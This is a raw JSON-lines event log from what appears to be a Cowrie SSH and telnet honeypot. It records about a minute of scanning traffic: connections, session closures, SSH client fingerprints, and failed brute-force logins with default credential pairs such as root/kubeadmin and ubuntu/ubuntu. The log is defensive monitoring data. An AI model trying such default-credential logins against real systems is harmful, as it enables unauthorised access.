{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":44934,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b7d5a89d148","protocol":"telnet","message":"New connection: 157.173.110.44:44934 (10.17.0.5:23) [session: 6b7d5a89d148]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:15:50.467640Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":33062,"dst_ip":"10.17.0.5","dst_port":23,"session":"65b6633a1d23","protocol":"telnet","message":"New connection: 157.173.110.44:33062 (10.17.0.5:23) [session: 65b6633a1d23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:15:52.341352Z"}
{"eventid":"cowrie.session.closed","duration":30.882533073425293,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:15:55.261533Z","src_ip":"157.173.110.44","session":"479b9542f217","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.71878457069397,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:15:56.149287Z","src_ip":"157.173.110.44","session":"776ddd1d5fb7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":33074,"dst_ip":"10.17.0.5","dst_port":23,"session":"8759f8bca2dc","protocol":"telnet","message":"New connection: 157.173.110.44:33074 (10.17.0.5:23) [session: 8759f8bca2dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:15:56.290542Z"}
{"eventid":"cowrie.session.closed","duration":31.045576333999634,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:15:56.304767Z","src_ip":"157.173.110.44","session":"c260b6dd92a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":33080,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a4e3fbfc19b","protocol":"telnet","message":"New connection: 157.173.110.44:33080 (10.17.0.5:23) [session: 7a4e3fbfc19b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:15:56.932047Z"}
{"eventid":"cowrie.session.closed","duration":30.94329857826233,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:15:57.192818Z","src_ip":"157.173.110.44","session":"d18a9e6a3745","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":33082,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b203bafcb0a","protocol":"telnet","message":"New connection: 157.173.110.44:33082 (10.17.0.5:23) [session: 3b203bafcb0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:15:58.793838Z"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.205.58","src_port":44658,"dst_ip":"10.17.0.5","dst_port":22,"session":"685f853a2edb","protocol":"ssh","message":"New connection: 14.225.205.58:44658 (10.17.0.5:22) [session: 685f853a2edb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:15:59.555224Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:15:59.559416Z","src_ip":"14.225.205.58","session":"685f853a2edb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:15:59.818969Z","src_ip":"14.225.205.58","session":"685f853a2edb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.216496229171753,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:16:00.697152Z","src_ip":"157.173.110.44","session":"793539a01bda","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"kubeadmin","message":"login attempt [root/kubeadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:16:00.898268Z","src_ip":"14.225.205.58","session":"685f853a2edb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.234428644180298,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:16:01.193589Z","src_ip":"157.173.110.44","session":"2c2c7be81e31","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:16:02.161252Z","src_ip":"14.225.205.58","session":"685f853a2edb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.154706954956055,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:16:02.570743Z","src_ip":"157.173.110.44","session":"92bf960b7fe6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":49628,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e66049bd3d8","protocol":"telnet","message":"New connection: 157.173.110.44:49628 (10.17.0.5:23) [session: 8e66049bd3d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:16:04.119374Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":53864,"dst_ip":"159.203.135.109","dst_port":23,"session":"9428a5a5a591","protocol":"telnet","message":"New connection: 206.54.191.52:53864 (159.203.135.109:23) [session: 9428a5a5a591]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:16:07.223399Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":58044,"dst_ip":"159.203.135.109","dst_port":23,"session":"1c572f722bc2","protocol":"telnet","message":"New connection: 206.54.191.52:58044 (159.203.135.109:23) [session: 1c572f722bc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:16:11.436590Z"}
{"eventid":"cowrie.session.closed","duration":30.656700134277344,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:16:12.185133Z","src_ip":"157.173.110.44","session":"c45c10a4ba31","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.93743586540222,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:16:14.440417Z","src_ip":"157.173.110.44","session":"dc1972a32e0e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.74311065673828,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:16:20.132719Z","src_ip":"206.54.191.52","session":"044f4ec93013","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":38182,"dst_ip":"159.203.135.109","dst_port":23,"session":"6ccfd21bcbdf","protocol":"telnet","message":"New connection: 206.54.191.52:38182 (159.203.135.109:23) [session: 6ccfd21bcbdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:16:20.375061Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":39516,"dst_ip":"159.203.135.109","dst_port":23,"session":"e604af1f9372","protocol":"telnet","message":"New connection: 206.54.191.52:39516 (159.203.135.109:23) [session: e604af1f9372]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:16:20.641316Z"}
{"eventid":"cowrie.session.closed","duration":30.738319158554077,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:16:21.205832Z","src_ip":"157.173.110.44","session":"6b7d5a89d148","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.70054030418396,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:16:24.041770Z","src_ip":"157.173.110.44","session":"65b6633a1d23","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":55998,"dst_ip":"159.203.135.109","dst_port":23,"session":"161d3d9b31ee","protocol":"telnet","message":"New connection: 206.54.191.52:55998 (159.203.135.109:23) [session: 161d3d9b31ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:16:24.805909Z"}
{"eventid":"cowrie.session.closed","duration":31.31196880340576,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:16:27.602419Z","src_ip":"157.173.110.44","session":"8759f8bca2dc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.87610936164856,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:16:27.808013Z","src_ip":"157.173.110.44","session":"7a4e3fbfc19b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":40958,"dst_ip":"10.17.0.5","dst_port":23,"session":"9aa40ecfa7d8","protocol":"telnet","message":"New connection: 157.173.110.44:40958 (10.17.0.5:23) [session: 9aa40ecfa7d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:16:28.162868Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":45422,"dst_ip":"159.203.135.109","dst_port":23,"session":"e4adda5a3027","protocol":"telnet","message":"New connection: 206.54.191.52:45422 (159.203.135.109:23) [session: e4adda5a3027]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:16:28.293926Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":50774,"dst_ip":"10.17.0.5","dst_port":22,"session":"0e8554352016","protocol":"ssh","message":"New connection: 80.94.92.184:50774 (10.17.0.5:22) [session: 0e8554352016]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:16:28.504710Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:16:28.750419Z","src_ip":"80.94.92.184","session":"0e8554352016","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:16:28.909593Z","src_ip":"80.94.92.184","session":"0e8554352016","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.410399436950684,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:16:29.204110Z","src_ip":"157.173.110.44","session":"3b203bafcb0a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":47648,"dst_ip":"159.203.135.109","dst_port":23,"session":"251e6a7e9274","protocol":"telnet","message":"New connection: 206.54.191.52:47648 (159.203.135.109:23) [session: 251e6a7e9274]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:16:29.430112Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:16:29.598636Z","src_ip":"80.94.92.184","session":"0e8554352016","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":49404,"dst_ip":"159.203.135.109","dst_port":23,"session":"b6fe3363640b","protocol":"telnet","message":"New connection: 206.54.191.52:49404 (159.203.135.109:23) [session: b6fe3363640b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:16:30.126530Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:16:30.810191Z","src_ip":"80.94.92.184","session":"0e8554352016","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":50266,"dst_ip":"159.203.135.109","dst_port":23,"session":"bd9996e34dab","protocol":"telnet","message":"New connection: 206.54.191.52:50266 (159.203.135.109:23) [session: bd9996e34dab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:16:31.144410Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.106.29.187","src_port":33077,"dst_ip":"10.17.0.5","dst_port":23,"session":"0148a16aae35","protocol":"telnet","message":"New connection: 185.106.29.187:33077 (10.17.0.5:23) [session: 0148a16aae35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:16:31.374110Z"}
{"eventid":"cowrie.session.closed","duration":31.132688760757446,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:16:35.251933Z","src_ip":"157.173.110.44","session":"8e66049bd3d8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":53928,"dst_ip":"159.203.135.109","dst_port":23,"session":"4347dd2a0b90","protocol":"telnet","message":"New connection: 206.54.191.52:53928 (159.203.135.109:23) [session: 4347dd2a0b90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:16:35.408667Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":55368,"dst_ip":"159.203.135.109","dst_port":23,"session":"431535e5c898","protocol":"telnet","message":"New connection: 206.54.191.52:55368 (159.203.135.109:23) [session: 431535e5c898]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:16:37.135588Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":54672,"dst_ip":"159.203.135.109","dst_port":23,"session":"ec527d87b2ca","protocol":"telnet","message":"New connection: 206.54.191.52:54672 (159.203.135.109:23) [session: ec527d87b2ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:16:37.238195Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":56324,"dst_ip":"159.203.135.109","dst_port":23,"session":"85727160fc28","protocol":"telnet","message":"New connection: 206.54.191.52:56324 (159.203.135.109:23) [session: 85727160fc28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:16:38.172471Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":55462,"dst_ip":"159.203.135.109","dst_port":23,"session":"3245deb703ca","protocol":"telnet","message":"New connection: 206.54.191.52:55462 (159.203.135.109:23) [session: 3245deb703ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:16:38.282803Z"}
{"eventid":"cowrie.session.closed","duration":31.258661031723022,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:16:38.481970Z","src_ip":"206.54.191.52","session":"9428a5a5a591","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":58288,"dst_ip":"159.203.135.109","dst_port":23,"session":"7fd864d15cf2","protocol":"telnet","message":"New connection: 206.54.191.52:58288 (159.203.135.109:23) [session: 7fd864d15cf2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:16:39.975688Z"}
{"eventid":"cowrie.session.closed","duration":15.337874412536621,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:16:40.143667Z","src_ip":"206.54.191.52","session":"161d3d9b31ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":58656,"dst_ip":"159.203.135.109","dst_port":23,"session":"7648c9ad29d4","protocol":"telnet","message":"New connection: 206.54.191.52:58656 (159.203.135.109:23) [session: 7648c9ad29d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:16:40.419682Z"}
{"eventid":"cowrie.session.closed","duration":30.67869257926941,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:16:42.115163Z","src_ip":"206.54.191.52","session":"1c572f722bc2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":33340,"dst_ip":"159.203.135.109","dst_port":23,"session":"c59bc782313e","protocol":"telnet","message":"New connection: 206.54.191.52:33340 (159.203.135.109:23) [session: c59bc782313e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:16:43.343588Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":34238,"dst_ip":"159.203.135.109","dst_port":23,"session":"00c8b1130160","protocol":"telnet","message":"New connection: 206.54.191.52:34238 (159.203.135.109:23) [session: 00c8b1130160]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:16:44.240340Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":34128,"dst_ip":"159.203.135.109","dst_port":23,"session":"f6d25aa288fd","protocol":"telnet","message":"New connection: 206.54.191.52:34128 (159.203.135.109:23) [session: f6d25aa288fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:16:45.094396Z"}
{"eventid":"cowrie.session.closed","duration":14.26128888130188,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:16:45.635293Z","src_ip":"185.106.29.187","session":"0148a16aae35","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":36734,"dst_ip":"159.203.135.109","dst_port":23,"session":"304cbc7339d3","protocol":"telnet","message":"New connection: 206.54.191.52:36734 (159.203.135.109:23) [session: 304cbc7339d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:16:46.897131Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":36028,"dst_ip":"159.203.135.109","dst_port":23,"session":"b10631b590d8","protocol":"telnet","message":"New connection: 206.54.191.52:36028 (159.203.135.109:23) [session: b10631b590d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:16:47.212123Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":37760,"dst_ip":"159.203.135.109","dst_port":23,"session":"1849dcc1e5c7","protocol":"telnet","message":"New connection: 206.54.191.52:37760 (159.203.135.109:23) [session: 1849dcc1e5c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:16:47.862560Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":37902,"dst_ip":"159.203.135.109","dst_port":23,"session":"6daea57f232e","protocol":"telnet","message":"New connection: 206.54.191.52:37902 (159.203.135.109:23) [session: 6daea57f232e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:16:48.082528Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":36980,"dst_ip":"159.203.135.109","dst_port":23,"session":"d1edb87d1063","protocol":"telnet","message":"New connection: 206.54.191.52:36980 (159.203.135.109:23) [session: d1edb87d1063]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:16:48.182705Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":38308,"dst_ip":"159.203.135.109","dst_port":23,"session":"42fcdefd6f58","protocol":"telnet","message":"New connection: 206.54.191.52:38308 (159.203.135.109:23) [session: 42fcdefd6f58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:16:48.504207Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":38322,"dst_ip":"159.203.135.109","dst_port":23,"session":"891d7c0df8af","protocol":"telnet","message":"New connection: 206.54.191.52:38322 (159.203.135.109:23) [session: 891d7c0df8af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:16:48.513627Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":38134,"dst_ip":"159.203.135.109","dst_port":23,"session":"edd1fdc5fff7","protocol":"telnet","message":"New connection: 206.54.191.52:38134 (159.203.135.109:23) [session: edd1fdc5fff7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:16:49.342117Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":39044,"dst_ip":"159.203.135.109","dst_port":23,"session":"1f58d5f26d3f","protocol":"telnet","message":"New connection: 206.54.191.52:39044 (159.203.135.109:23) [session: 1f58d5f26d3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:16:49.394629Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":37074,"dst_ip":"159.203.135.109","dst_port":23,"session":"9d88c66a865d","protocol":"telnet","message":"New connection: 206.54.191.52:37074 (159.203.135.109:23) [session: 9d88c66a865d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:16:50.286739Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":39760,"dst_ip":"159.203.135.109","dst_port":23,"session":"381535c92180","protocol":"telnet","message":"New connection: 206.54.191.52:39760 (159.203.135.109:23) [session: 381535c92180]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:16:51.175945Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":38136,"dst_ip":"159.203.135.109","dst_port":23,"session":"ed7bbca83f5a","protocol":"telnet","message":"New connection: 206.54.191.52:38136 (159.203.135.109:23) [session: ed7bbca83f5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:16:51.346734Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":41028,"dst_ip":"159.203.135.109","dst_port":23,"session":"37863bdaa64e","protocol":"telnet","message":"New connection: 206.54.191.52:41028 (159.203.135.109:23) [session: 37863bdaa64e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:16:51.514897Z"}
